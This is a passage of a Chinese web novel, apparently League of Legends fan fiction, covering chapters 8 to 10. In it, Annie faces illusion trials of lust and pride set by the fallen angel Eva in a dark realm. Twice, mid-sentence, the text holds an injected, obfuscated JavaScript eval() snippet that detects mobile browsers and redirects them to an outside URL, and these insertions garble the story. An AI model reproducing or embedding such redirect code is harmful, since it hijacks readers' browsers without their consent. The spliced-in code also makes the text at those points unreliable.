所有星星交织在一起,形成一片花的海洋。 安妮徜徉在其中,欣赏着每一朵鲜花的亮丽。心中,似乎有什么正在被填满。 忽然,前方一颗青色的小星星开始逐渐放大,最后成为杰罗西的模样。 不得不说,在这样美丽的场景中,他显得真实突兀,又令人讨厌。 “玩得开心吗?亲爱的……安妮?” 随着杰罗西的话语响起,周围的星海好像都暗淡下来,安妮看着手中的法杖,喉结微动,却说不出话。 她想起很久以前,蒂尼送给自己星空花的时候。 那个时候她问蒂尼,天上有什么。 有天道的眼睛、天道的帮手,或许还有天道本身,但蒂尼的回答是: “天上有什么?我创造的星星啊!” 那个时候,安妮就知道了,她是自己永远羡慕的那类人。 蒂尼的天空,是由她自己主宰的,幸福、美丽、祥和。她的眼中没有仇恨、没有纠葛,那么单纯自由,亮得让人……嫉妒。 “看,前面是什么?” 杰罗西的话把安妮拉回现实,她抬眸望去。 星河深处,基兰的身影若隐若现。而蒂尼跟在他旁边,还是抱着比自己高一截的法杖。 两人就像平常的祖孙,缓缓走向光明。 “你知道为什么,蒂尼能被基兰带走,而崔丝塔娜和莱沃不行吗?” “因为基兰是世界外的生物,而蒂尼也是。基兰在这个世界之外收留了蒂尼,那里有多危险不得而知,但蒂尼没有感受到。 而崔丝塔娜和莱沃,都是基兰在世界内收留的,他们只能留在世界内,就像……你一样。” “你想表达什么?” “噢,我的目的已经达到了,只是和你聊聊罢了。既然你不想再听,那对话也到此为止,祝你好运。” 杰罗西说完,所有星光瞬间消失,世界再次陷入一片黑暗。 她回到了黑暗领域。 8. 8 安妮回到黑暗领域后,卡上的数字还有二十多个小时。 她这次没有走到其他地方闭目养神,而是朝椅子上玩牌的伊娃走去。 “谈谈?” “你想知道些什么?我知无不言言无不尽。” 伊娃态度很好,好得安妮有些心慌。 大概是看出了安妮的防备,伊娃笑着解释:“我们是同源的,就像那七只眼睛一样,所以我永远会坚定地站在你这边。永远。” “同源?” 安妮后退一步,显然不太能接受这个说法。 但伊娃微微一笑。 “光明与黑暗形成掣肘,在这个过程中,天道慢慢成长起来。光明的形式多而繁杂,但黑暗,只有我们。 千年前,或许只有我。但我被弗斯用‘源’压制,逐渐弱势,所以才出现了你。 黑暗是平衡的,而你,我的孩子,你终究代替我,成为黑暗新的代表。从某种程度上来说,我才是你的母亲。” “不!我的妈妈只有弗洛!” 就算是面对凯德阿姨,安妮也从来没有把她认作母亲的想法。 即使弗洛很多时候都追随着爸爸,但她在自己心里不可替代。她温柔、善良,教会了自己何为生活。 而伊娃,只是黑暗的代表罢了。 “你休想同化我。” 安妮语气坚定。 “噢,好吧,我们现在可能不太适合说这个话题。我想,你应该对七原罪更感兴趣吧?——就是那七只眼睛。” 伊娃举手做投降状,随后岔开话题。安妮虽然想离开,但最后还是留下了。 毕竟,这个问题困扰了她很久。 “到底什么是七原罪?它们又来自何处?我想,这应该是你目前最想知道的吧?要解释有点麻烦,不过我相信,你的见识足够理解。 这个世界,其实分为世界内和世界外。不过,如果你认为世界内和世界外差不多大,那就大错特错了。世界外比世界内大无数倍,如果说世界内只能算一粒尘土,那世界外就是恕瑞玛——哦,恕瑞玛应该还在吧?” 见安妮点头,伊娃放了心。 “总之,世界外很大,大到无法触碰。两个世界之间的距离,也是寻常无法到达的——你能想象,自己旁边的空间还有一块源大陆吗?” 安妮还是点头,伊娃见状十分满意。 “好的,这就是基础。而七原罪,就来自我们世界和其他世界的交界,或许包括周围的很多世界。 这些世界的恶意逐渐凝聚成一种名叫‘精神’的物质,而‘精神’又逐渐形成一个承载七原罪的地方——我叫它血池。 血池是一个池子,但只是一个虚幻的池子。就在千年前,我还住在星月城——也就是天上——的时候,血池入侵了我的识海。 我看到了很多不属于这个世界,但是真实存在的东西。 相信我,那些画面,没有谁愿意观看。 但它们实实在在出现在我的梦境里,甚至让我产生幻觉,沉入幻境。我触碰到了无数世界的黑暗,从未体会过的黑暗。 你能想象吗?我甚至为此发明出一个字,那就是‘虐’。 原来,除了干脆的打打杀杀和光明正大的比拼,还有一种手段叫‘虐’。 它代表你可以为了让一个人说出秘密,刺穿他的指甲,敲碎他的骨头,让他奄奄一息地匍匐在地,却还喘着气……” “够了!我想,我知道这是什么意思了。” 安妮全身颤抖,不想再听下去。 她隐隐觉得,之前的自己,好像也在践行“虐”的宗旨。即使对象是不死不灭的阿修罗,甚至还只是一个不太有意识的阿修罗。 “抱歉,我太想把这些感受分享出去了。”伊娃说完,深吸一口气,转变话题,“总之,七原罪就是这样,让我领略到了过量的黑暗。于是,我成为堕落天使,操控魔兽,妄图统治世界。” “为什么?” “什么为什么?” “你感受到这些情绪,和统治世界有什么关系?” “原因很多,但我想,目前有一点是你能理解的。情绪需要宣泄口,就像愤怒要找出气筒,贪婪要找满足感,嫉妒要找平衡点……” “所以你肆无忌惮地杀戮,只为了宣泄?” “这只是目前你能理解的一个理由,也是最微不足道的理由。” “那还有什么?” “你今后会知道的。” 伊娃不再说话,安妮没办法,只能坐在另一个角落。 她脑子很乱,也想了很多。 尽管知道伊娃说这些,目的是为了洗白自己,让她卸下防备,安妮仍旧无法克制对伊娃的同情。 因为她体会过,情绪让大脑几近爆炸的感受。 安妮这次结结实实睡了一觉。 其实随着体质的增长,吃喝睡眠这些都不是必需品了,尤其在获得寒焰之后。但安妮还是感觉睡一觉舒服了很多,就好像丢掉了所有烦恼。 她坐上赌桌,随手翻了一张牌。 粉色眼睛。 “噢,没想到刚和你介绍完世界外,你就抽到了界内和界外差别最大的东西。” “什么意思?” “色欲,在我们的世界,只是两个相爱的人结合,凝聚出结晶的过程,但在我们的世界之外,这个方式其实严苛得多,生命的产生,也因此格外艰难。” “这和我没关系。” 不管是界内还是界外,都和她没关系。 她不知道界外,但界内,她没有经历过。不管是成为生命的创造者,还是被创造的那个,都没有。 因为安妮心里很清楚,伊娃虽然善于诡辩,但没有撒谎。自己不是弗洛和赛弗勒斯相爱生下来的,只是黑暗力量形成的。 或许在曾经看到爸爸妈妈的相处模式,她就知道了。与其说弗洛和赛弗勒斯是相爱的,不如说弗洛追随着赛弗勒斯,就像一个虔诚的信徒。 伊娃大概也明白安妮的意思,但她微笑着摇头:“不,亲爱的,难道你就没有产生过和谁一起孕育生命的想法吗?” “和谁一起,孕育生命?” 安妮蹙眉,眼前闪过一个身影,但很快消失。 她不想孕育生命,和谁都不想。 即使跟阿木木在一起的时候,也只是想得到他的陪伴与安慰。 “噢,看来某个人对色欲真的一窍不通呢……我的老伙计有得忙了。” 伊娃摊手,虽然是无奈的模样,但满含笑容,似乎并不着急。 安妮也很好奇色欲到底会制造怎样的幻象考验自己,有些迫不及待地进入牌内。 这一次,安妮没有看见任何颜色的眼睛。 脚下是一片大草原,紧接着两边的草开始延伸,前方出现生机勃勃的麦穗。两边的草丛逐渐从绿色变成金黄色,然后越来越密、越来越高…… 麦浪翻飞,映照着初升的太阳,伸手扒开,密密麻麻的麦穗,还有些扎手。就是前方少了一个话痨的人,耳边也没有她充满活力的鼓励。 熟悉的场景让安妮心中一热。 这次的路程要短得多,安妮很快就走到了终点。终点也没有人,只有开阔的小鹿,但安妮已经很熟悉这里。 守望麦田。 为什么会来到守望麦田? 这个充满了非本世界生物的地方,是最不好模拟的了。 不过当守望麦田里空无一人的时候,这个假象也就显得不那么困难了。 是的,空无一人。 旁边没有崔丝塔娜,小木屋里没有基兰爷爷,断崖下面没有蒂尼,麦田旁边没有莱沃,自己居住的房间,也没有阿木木…… 安安静静,能听到自己心跳的声音。 把所有地方逛完以后,安妮回到守望麦田的中心。那是一块大空地,崔丝塔娜想举办什么宴会的时候就会将它安排满,但这一次,空地上多出一样东西。 那是一个一人高的,类似讲台的东西。 安妮曾经在光明学院见到过,老师站在这个木质讲台的后面,撑着两边的平面,看着上面的内容,讲着无趣的发言。 此时,那个讲台上放着的书变成了一张纸,旁边还有一支笔。 安妮看了看,上面是三行话。 [在后院种一朵白蒲公英] [在麦田编织一只小蜻蜓] [在断崖上看一场流星雨] 这是,他给自己的任务? 这算是什么任务? 安妮摸不着头脑,但还是思考起实行的策略。 种植蒲公英,要找到蒲公英的种子,至于选择地皮,浇水之类的,安妮倒是不担心,因为她之前其实就做过。 麦田里编织小蜻蜓也做过,是自己发现麦秆坚韧,和将军草一样抗造的时候。只是麦秆终究不如将军草易摧折,只能简单做些小玩意。 还有流星雨……如果说一开始安妮海没头绪的话,看到断崖也该想起来了。流星雨,在其他时候很稀有,却是蒂尼的那片断崖上每晚都有的东西。 安妮首先去找了蒲公英。 她记得自己刚来守望麦田那会儿,对后院空空荡荡的菜地十分不满。大概是弗洛从小就启发了她种植的乐趣,安妮在一次训练结束后,心血来潮决定也装饰一下这片空地——就像装饰自己的帐篷一样。 一开始想的是使用黄色蒲公英,但很快她就否决了这个想法。 还记得当时木木就在旁边,问她想种什么。自己回答“黄色蒲公英”的时候,少年微微一愣,很快莞尔。 “你确定?” 那戏谑的笑容,让她听清楚了内心的想法。 不确定。 安妮最爱的是紫色蒲公英,毋庸置疑。但她第二喜欢的,其实是白色蒲公英。因为她觉得自己就像白色蒲公英一样,随处可见,却坚韧、自由,为了梦想奋斗。 后来种植黄色蒲公英,完全是受到了小小妮小小木的影响,心中光明,才向往光明。而曾经住在麦田的自己,内心其实并不完全光明…… “我知道有一个地方,有白色蒲公英。” “哪儿?” “你忘了,蒂尼是什么?” 阿木木的声音好像就清晰地回荡在耳边,安妮不由自主地答:“万花通灵。”。 是的,蒂尼是万花通灵。她眼中的星空,其实就是花田,而星辰,就是一朵朵鲜花。正因如此,她创造的夜晚,才格外绚烂夺目。 连星星都是五颜六色的。 安妮朝着蒂尼的花海走去,但总感觉,空落落的。 好像少了个人。 她很快就走到了花海。 花的海洋。 形态各异的花朵绽放在微风中。这里没有季节的限制,也没有温度的约束,花儿只管尽情地绽放,每一朵都是最绝美的姿态。 还记得当初刚刚走近,安妮就被馥郁的花香醉得不知归处。但她舍不得踩踏这些鲜花,因此只在旁边找蒂尼要了白色蒲公英。 蒂尼就不一样了,她是这些花的孩子。她在花海徜徉的每一步都被花瓣托举着,轻盈得像一只蝴蝶。 但这次,蒂尼不在。 安妮站在花海边缘,想到了自己的神装幽冥。 确实可以乘风而起,但是…… 她用寒焰凝聚起一张长凳,坐上去,紧接着,召唤出红蓝羽魂——雪羽和血羽。 雪羽仍旧一身白衣,傲然如雪,血羽则好奇地打量着四周,活力充沛。 “帮我个忙可以吗?我想在花海里找一朵白色蒲公英。” 安妮说完,雪羽立刻发问:“你,可以自己找。” 言下之意:为什么不自己去? 但血羽立马就替安妮作了回答:“我去我去!这片花海也太好看了!” 她说着就想离开,临走前还扯了扯雪羽的衣袖。 可惜,雪羽并不想和她一起,挥手任由血羽离开后,坐到了安妮身边。 “你怎么不去?” 她无数次幻想,牵着阿木木在这片花海中幸福地徜徉。但都忍住了,因为那样的时刻,比任何幻境都惑人心智。 知道雪羽和血羽在冰寒之地苦守千百年,肯定没有见过这样美丽而充满生机的景象,安妮才放出了她们。 没想到,雪羽会忍住不去。 “我不想去,没兴趣。” 雪羽垂眸。 “爱丝说,你们象征着世间的光明与黑暗。”安妮看着花海中肆意奔跑的血羽,朝身边的雪羽笑笑,“你们谁是光明,谁是黑暗?” “你不是已经知道了么。” 雪羽眼神冰寒。 “但我能感受到血羽的想法,她一直认为,她才是黑暗的那个。” 雪,听起来多么冰清玉洁,血羽心中,雪羽也一直是最为纯洁的存在。 “不管她如何认为,我都会守护在她身边。” “是吗?挺好。” 就像我和他一样。 我一直认为他是光明圣洁的存在,可是,当我以为自己才心怀黑暗时,他会不会和你一样,也只是包容地看着我,接纳我的天真。 却守护我。 血羽直到玩够了,才把白色蒲公英上交给安妮。 不过安妮也没计较,毕竟让血羽在花海放松,本就是自己的目的。 拿到白色蒲公英后,她朝着后院一早选好的地点走去。那是一块距离小木屋门口有些距离,从窗边正好看到的地方。 安妮拿着种子,提着水壶走过去。这次,身边没有了帮忙的人,提伯斯也没在旁边看着。 所有的一切都要靠自己。 安妮翻好土,将蒲公英的种子放进去。耳边,仿佛模模糊糊传来木木的声音,那么轻柔。 “把桔梗也种旁边吧。” 他的手上不知何时多了一朵桔梗花,盛放的姿态。 蒂尼的花朵没有周期,可以在麦田里开到天荒地老,就算是自己手里的蒲公英种子,种下去后也能马上成熟开花。没有空间挤压的说法,只要装得下,就种得了,因此安妮毫不犹豫地接过了阿木木手里的桔梗。 是否搭配什么的她不考虑,自己觉得好看就行了。 安妮眨眨眼,意识回笼。 这一次,地里只长出来了白色蒲公英。 她没有回去找桔梗的意思,而是做完一切后,走到之前讲台所在的地方。 那里的纸笔没有变化,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296885|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是第一行句子后面打了个钩。 看来自己的猜想是对的。 安妮于是朝着一块麦田走去。 这是一块比较寻常的麦田,寻常在,里面的训练内容安妮早已通关。 通关以后,麦田就会变成乖巧的状态,像是被收拾听话的小孩,自己再做什么都无声支持,或者沉默不语。 在里面揪几根麦秆啥的,也就无关痛痒了。 安妮这次还是找了几根看起来卖相就很好的麦秆,两米多长,外壳金黄,内里软韧,无论怎么蹂躏都不会断,也不会变形。 她的手指翻飞,根本不需要回忆。 做蜻蜓、蚂蚱之类的小动物,她已经有肌肉记忆。 这说实话,真不是一件好事,因为自己的肌肉就耗费精力记住这些。但转念一想,童年不就是耗费时间和精力,获得乐趣,很多事情现在看来都毫无意义吗? 最后将麦秆穿过蜻蜓的脊背,拉直,一只草蜻蜓就做好了。 安妮条件反射般举起蜻蜓,想跟旁边人炫耀,才意识到,他不在。 那这只蜻蜓…… 安妮悲哀地发现,自己竟然无处安置它。 过去的手工,完美之作会收藏到床下的木箱,认识提伯斯后就成了他的玩具。偶尔做出新品或者技巧爆发,也会转手将东西丢给阿木木。 唯一一次卖钱,还以失败告终了。 算了,这里本就是幻境…… 安妮安慰着自己,将刚做的手工蜻蜓随手丢进麦田。 不知为何,心里总感觉不舒服。但木木拿到这些东西,难道不会把玩一段时间就丢掉吗?总不可能随身带着。 安慰好自己,安妮再次来到麦田中心。 很好,第二行也打钩了,现在只差去看一场流星雨了。 安妮轻松爬上山,来到断崖。 以前的夜空,都是蒂尼安排的,原本以为流星雨也需要想办法自己制作,没想到安妮刚刚坐下,星光便坠落下来。 她坐下的那一刻,正好是一颗星星落地。 蒂尼的夜空从不讲究真实,因此流星雨的星辰也真的像雨滴一样,密密麻麻。斜着坠落的小尾巴全都一闪一闪,拖得极长,是和大雨唯一的区别。 安妮想起来,曾经也和木木一起,看过很多场流星雨。 其实即使不看流星雨,光是坐在断崖上,安妮便能感觉到无比的幸福。 只可惜,身边没有了那个淡然的身影。 仰望天空,正发出一声遗憾的喟叹,忽然夜空一变。星星坠落后再无替补,原本亮丽绚烂的星空逐渐被黑暗取代。 黄色的光芒一闪而过,紧接着…… “轰隆!” 是雷! 安妮不由自主地收回垂在断崖下的脚,踩着地面,好像这样就能得到一点安慰。 “咔嚓!” “轰隆!” 不远处,一道金黄色的闪电劈下,照亮了黑夜狰狞的面容。 “哗啦啦……” 急骤的雨滴落在安妮身上,她看着远处的夜空,明知道这些普通的闪电如今对她造不成任何伤害,仍旧害怕地后退一步。 一步、再一步。 “啪!” “轰隆!” 闪电裹挟着雷声,再次朝着安妮袭来。 就好像回到了那个夜晚,回到了自己最弱小无助的时候。 她起身,慌不择路地躲避,可是断崖上空空荡荡。那些低矮的草丛,荆棘密布的灌丛,不能给她一点安全感。 山洞?没有。 躲在树下面?更不可能。 有那么一瞬间,安妮甚至想直接跳下悬崖,但幽深的黑暗阻止了她。 曾经是有一个人为她遮风挡雨的。 安妮只能环抱着自己,缩成一个点,幽冥扇竖在周围形成防御。 很安全,但她很不安。 孤独如雪崩一样淹没了她,安妮不知道眼角的湿润是雨水,还是泪水。只能祈祷这样的电闪雷鸣快点过去,最好从自己的头顶掠过。 “睁开眼吧,一切已经结束了。” 安静的环境,身上的潮湿和周围的阴冷也尽数消失。 安妮埋着的头抬起,看到的就是一只漂浮着的粉色眼睛。 拳头大小,和自己预想中的一模一样。 “你的三个任务都完成了,按理说,我应该离开了的。” 安妮环顾四周,果然,雷暴已经消失。 可明明知道是幻象,她仍旧惶恐不安,这大概就是提取记忆知道细节的优点吧。 至于粉色眼睛的话,安妮并不想理会,他为什么不走,自己总会解释的。 “其实,在考验你之前,伊娃觉得我是最可能失败的那个。” “但现在你成功了,是吗?” 安妮其实不清楚“色欲”是什么,但她知道,自己渴望陪伴。如果色欲是和谁在一起的欲望的话,那她确实产生了这样的想法。 “成功了……一半?” 一半? “我能感受到你对爱的渴望,但仅此而已。难道,创造生命和爱情不是相连的吗?” “什么意思?” “哦,其他世界的人管这叫‘欲’。” “你说的话让我越来越听不懂了。” 安妮自认接触过很多奇特的东西,思想也足够开放,但色欲说的爱啊欲啊什么的,她完全不理解。 “如果我说和那个人在一起是爱,和他创造生命是欲,你会不会理解一点?” “大概……所以,我只有爱,没有欲,难道不正常吗?” “我不知道,或许是正常的吧……我沉睡太久了,也太久没有了解世界产生的新意识了,或许你这样的情况别的世界也会有。” “那就去看看吧。” 这对自己来说也算是件好事。 “那对你来说,色欲到底意味着爱,还是欲?” “这个……我不知道。” 她连色欲意味着什么都不知道,更别说区分色欲的意义了。不过安妮倒知道一点:爱是比欲更容易产生罪恶的东西。 毕竟,有爱才有恨,有偏爱就会有不公,过分自爱就产生自私。 “算了,我就权当你感受到了色欲吧……” 粉色眼睛说着就想离开,但这次安妮拦住了他。 “等等!我可以问你一个问题吗?” 粉色眼睛顿住,没说不同意,安妮便当默认了。 “为什么你们都致力于让我感受到你们代表的东西?” “伊娃没告诉你?” “她为什么要告诉我?” 她的答案无非是让自己感同身受,安妮猜都猜得到。 “好吧,告诉你也无妨。她大概是为了让你感同身受,方便以后和你的相处。” 感同身受,方便以后相处? 前者是安妮早就想到的,但以后相处是什么意思?伊娃只在黑暗领域活跃,而自己又不可能一直待在黑暗领域。 安妮心中,一个荒诞的想法忽然产生。 色欲意味深长地看了安妮一眼,好像在说,之前的回答算是感谢。紧接着,他也消失,只留下无尽的黑暗。 9. 9 安妮回到黑暗领域的时候,伊娃还有些惊讶。尽管色欲已经告诉她,自己成功了。 “欢迎回来,我的孩子。” “我说过了,我不是你的孩子。” 安妮皱眉反驳,邪牌应声消失,无端给她增添了气势。 伊娃没有继续争论这个话题,只是疑惑道:“你是怎么感受到色欲的?我还以为这会是你最困难的一个阶段。” “我也不知道。” 多说多错,安妮才不会给伊娃任何得到信息的机会。 尽管如今黑暗领域第三层只有她们两个“相依为命”,尽管伊娃始终表现得人畜无害。 “别这么抗拒嘛,我只是好奇。”伊娃不在意地挥挥手,“告诉我你做了什么总是可以的吧?也好打发打发时间。” 打发时间? 这倒是个不错的提议,她已经睡得够久了。 安妮犹豫片刻,还是把自己做的三件事,以及断崖上的变化告诉了伊娃。伊娃听到最后,露出一个恍然大悟的表情。 “噢,看来,赛克斯还真是有一手。” “赛克斯?” “也就是色欲,我是这么称呼他的。” “为什么我感觉你们关系似乎还不错?” 七张邪牌提到伊娃,是朋友的语气,伊娃说到他们,也十分淡然。就好像他们是关系不错只是很少见面的老友,但事实上伊娃是因为他们才堕落的啊。 “这个嘛……你以后就知道了。” 以后以后,永远都是以后。 安妮有些无奈,但自己总不可能追问下去。时间的确是很多经历的必需品,就当她的阅历不足吧。 “那你为什么说他厉害,总可以告诉我吧?” “当然可以,我想你已经感受到了。他用了一点反向思维:正因为模拟不出你的爱人,所以干脆让你感受到孤独,从而渴望爱人的陪伴,这就是色欲。” “在别的世界,色欲也这么简单吗?” “当然不是……你不会想知道的。”伊娃深深叹了口气,“我能让你感受到的,只是七原罪的冰山一角罢了,真正的黑暗,是任何人都无法承受的。如果你真的完全理解了,那堕落天使这个名号,也该易主了。” 伊娃望着前方,眼神悲伤,安妮莫名产生一种,同情的错觉。 伊娃说得对,她们其实是同源的。 时间悄无声息地过去,这次伊娃直接走到了安妮面前,把重叠在一起的四张牌展开。安妮随便翻了一张,是橙色的眼睛。 “安若杰斯?” 伊娃不知想到了什么,呢喃一句不再言语。 安妮不知道她的想法,只是和之前一样拿起邪牌,凝神进入。 这次,安妮终于到了熟悉的白色空间。看着周围的环境,她还感觉到一丝亲切,但很快,这股亲切就被疑惑取代。 因为没人。 伊娃说的“安若杰斯”,应该就是橙色眼睛的名字,这说明他是存在的。 可自己不管往哪里走,都是白茫茫的一片,看不到任何变化。 若在往常,安妮可能会觉得这也是考验的一部分,认为考验已经开始了,但她能感觉到,这空间根本就无意义。 过了一会儿,白光闪过,安妮再次回到了黑暗领域。 面前的伊娃手上有四张牌,她第一眼就注意到了。 果然,安若杰斯根本不在那个空间。 “刚刚,我的朋友和我交谈了一下……”伊娃迅雷不及掩耳之势收走三张牌,将剩下一张翻转过来,上面的眼睛栩栩如生,亮得吓人,“他说你的心里坚持着一个可怕的想法,这让他的考验无从开始。” “什么?” “告诉我,这个字,你认识吗。” 伊娃手指翻飞,紫色的荧光从她指尖冒出,在空中凝聚成“它”,黑暗中那么显眼,又诡异。 “我当然认识。” 他她它,曾经是凯德阿姨的一门学问,安妮跟着学了好几年,才彻底理解三个字的差别。 “那么,你的心里,应该也会用到它的对么?” “对。” 这没什么可否认的。 “用它来指代幽冥寒焰,指代你的本源,指代……很多东西。” “你到底想说什么?” 这不是再正常不过的了吗? “我就是单纯想和你玩个游戏。” 伊娃说着,坐上牌桌。安妮跟上,坐在她的对面。 两人仿佛又回到了当初对峙的场景。 伊娃将三张牌隔空丢给安妮,卡牌还是从牌桌上平移过去,自主翻开:三张TA。 “他”、“她”、“它”。 “来吧,只要用一次,就把他们往前平移一张牌的距离。现在告诉我,你用什么称呼小小妮?” 安妮把印着“她”的卡牌往前伸了伸。 “小小木?” 安妮把印着“他”的卡牌往前伸,和“她”对齐。 “树爷爷?” 安妮把“他”再次往前推,超过“她”一个身距。 “比格毛丝?” 再次将“他”往前,遥遥领先。 “利维坦之灵。” 安妮站在椅子上,将印着“他”的卡牌往前继续推。没办法,她短胳膊短腿,只能这么干。 “好吧,我想我知道安若杰斯在苦恼什么了。” “什么?” 安妮重新坐下。 三张牌重新回到起点,紧接着,印着“它”的卡牌开始往前移动。 “这是我的回答。” 牌桌上最后定格的画面,是一骑绝尘的“它”,和纹丝不动“他”和“她”。 安妮顿了一会儿,才明白伊娃的意思。 她的眼中,小小妮小小木、树爷爷、比格毛丝以及利维坦之灵都只是物件。 安妮虽然不赞同,但她并没有生气。每个人的理解不一样,伊娃没有接触过这些人,会这么想也无可厚非。 甚至安妮还有些高兴,因为这意味着伊娃和她是不同的。 即使是同源。 伊娃也察觉到了安妮的情绪,她叹了口气,耸肩、调侃:“我觉得你也可以发明一个字,用来指代你认为不是物件但不知道性别的人。” “其实我早就想这么干了。” 她一直觉得克莱尔和布鲁不该是单纯的“它”,但用“她”和“他”指代机械又不准确,毕竟科瑞特创造的时候,克莱尔和布鲁没有具体性别。 见安妮真的点头,伊娃恨不得晕过去。 但她还是深吸一口气,告诉自己,孩子没养废,只是长残了,还掰得回来。 “我想,作为你的母亲,应该好好给你上一课了。” “我从来没有承认过你是我的母亲!” 巨大的威压袭来,将安妮按在凳子上无法动弹。她这一刻才彻底感知到伊娃的实力,甚至不比天道差。 “别担心,打败不了我,就说服我。” 她如果想杀自己,早就动手了。安妮在心里安慰自己,慢慢放松。 辩论,正式开始。 “在正式开始叙述之前,我觉得我们需要搞清楚一个大问题。” 伊娃靠在椅子上,翘着二郎腿,还把玩着桌上的三张牌,随意的姿态和安妮形成鲜明对比。 “这个世界本就是不平等的。” “我知道。” 安妮淡然又坚定的语气让伊娃一愣。 “你也这么认为?” “我从没觉得,这个世界平等过。” 从她家破人亡投靠光明学院,却看到无数孩子家庭幸福美满,甚至有钱有权仗势欺人开始就知道了;从她在祖神村苏醒,亲眼目睹无数人愚昧封建而不自知,只因为他们连灵兽都没见过,更没有觉醒灵力的历史就知道了。 她成为过那个被天平翘起的人,也成为过压下天平的人。 “好吧,我还以为这也需要解释呢。那你为什么会把‘它’视为‘他’和‘她’?” 伊娃手里卡牌变幻,帮助安妮理解自己的意思。 “因为他们本就是‘他’和‘她’,有生命、有性别、有意识!” “不,即使有这些,它们依旧是最下贱的生物。利维坦之灵只会汲取营养躲躲藏藏,比格毛丝只是凝聚了灵力念想在深海飘荡,树爷爷和小小妮小小木也不过是树木之灵……” 伊娃还没说话,不知从哪钻出来的橙色眼睛忽然出声。 这应该就是安若杰斯了。 “请你对我的朋友们放尊重一点。” 安妮直视安若杰斯,眼神危险。 即使被伊娃压制着,她仍旧气势不凡,这就是无数战斗打磨出来的实力。 安若杰斯眼皮微颤,悻悻然闭嘴。 “老伙计,别这么强势,孩子会受不了的。” 伊娃就像一个包容的母亲,摸了摸安若杰斯的脑袋,随后看向安妮。 “世界不公,我们为什么还要追求所谓的公平?存在即合理,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296886|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天道都承认这样的不平等了,不是么?” “不!正因为世界不公,我们才要坚持公平。存在的不一定就是合理的,总有一天,我会破除这个世界的所有黑暗,创造一个绝对公平的世界。” “噗哈哈哈……孩子,你天真得让我不想伤害你。” 伊娃这是有史以来第一次笑得这么肆意,眼泪都笑出来了。 黑暗之女,叫嚣着终有一天,会破除世间所有黑暗。 她笑了足足一分钟,才缓过劲来,勾唇:“你可以坚持你的公平,但你必须承认,你凌驾于万物之上。” 凌驾于……万物之上? 这七个字,太具有诱惑性,以至于安妮从来没有想过,也不敢想。 如果世间必须有人符合这个描述,应该是木木才对…… 如果说有谁能让自己产生不公平的想法,那也是木木,因为他本就该凌驾于万物之上。 这个人可以是木木,但不会是自己。 “你在想那个人,对么?” 伊娃已经通过安若杰斯的描述知道了阿木木的存在,也知道在安妮心中他是怎样高不可攀,这和安妮的思想可谓背道而驰,但就是这样神奇地融合在一起了。 悲哀的是,阿木木确实来自世界之外,安妮因他产生的傲慢不算数。 “我们先抛开他不谈,我说的是你,也只是你。” “你确实和那些……额,什么草什么鱼一样,都有意识、有生命,但你多了很多东西:幽冥寒焰、奇迹之心、无尽战刃,甚至之后的鬼牌……总而言之,你就是世之唯一,暗之主宰。” “唯一……主宰……” “连我都要避你锋芒,不是么?别看我在这里可以将你压制得束手无策,出了黑暗领域,我就只有挨打的份。这里如果没有鬼牌庇护,你一记幽冥扇就可以扫平。” “事实上,即使我现在压制着你,也无法杀了你。黑暗领域的黑暗灵力听命于我,但它们的主人也包括你。” “不,你在骗我!” “我说的话是真是假,你感受得到。或者说,除了莫斯卡,我们的话究竟是真是假,你都感受得到。” 当初安妮如果对自己的直觉坚定一点,也就不会被加丁欺骗的那么惨了。 “承认吧,世界奉你为王。” 安妮虽然很想反驳,但她说不出话。 或许在感知到极寒冰原的优待时,安妮就有所预感了。 还有两次重生…… “你和别的孩子不一样,你总是很保守、很胆怯,百分百笃定的事,你才会去做。你不知道,在听见莫斯卡如此描述的时候,我有多心痛。” 伊娃慢慢走到安妮面前,裸露的皮肤,就像她坦诚的内心。那双紫黑色的眼睛慢慢变得晶莹,温柔的声音如同恶魔的低语。 没有一位母亲会穿成这样,但她就像一位母亲,诉说着对孩子的怜惜。 “你是黑暗之女,我最骄傲的孩子。你不死不灭,掌管着黑暗族的命脉,却要东躲西藏、委曲求全。但世间虚伪的光明无法阻拦你,任何邪恶都无法阻挡你,你终究会完成自己的意志。” “没有什么是你得不到的,也没有什么是你配不上的,你合该追求世间最好的,也拥有世间最好的。” 随着伊娃的低喃落地,安妮也逐渐清醒过来。 她看到了祭坛上神圣的加丁,河边神圣的基兰,以及……永远神圣的阿木木。但是这一次,她不再是仰望的视角。 牌桌上的橙色卡片逐渐消散。 和不平等的人争夺平等,何尝不是一种傲慢。 安妮能察觉到,自己不一样了。 她努力抗争,不想被伊娃同化,但不得不说,有些时候,伊娃讲到了她心里。 就像一把锋利的尖刀,直直插进心脏。 伊娃倒是乐在其中,看见安妮解除限制后就缩在墙角不愿动弹,仿佛屏蔽了周围的所有动静,她还勾唇一笑。 “别这么抗拒我,孩子,总有一天你会习惯我的陪伴。” “不,绝对不会有那一天的。” 安妮斩钉截铁。 “你之前有一点倒是提醒我了,那就是你杀不了我,甚至还可能被我反杀。如果最后获得不了鬼牌,我会让你知道你的推理有多么正确。” 安妮说完,伊娃却没有生气。 反而眼前一亮,似乎很高兴她的威胁。 安妮并没有看到。 之后的无数次,她都为此后悔,但可惜为时已晚。 10. 10 安妮这次抽到的牌是白色眼睛,和其他的邪牌长得有些不一样。 她细细打量,最后得出结论:这种不一样来自一种感觉。 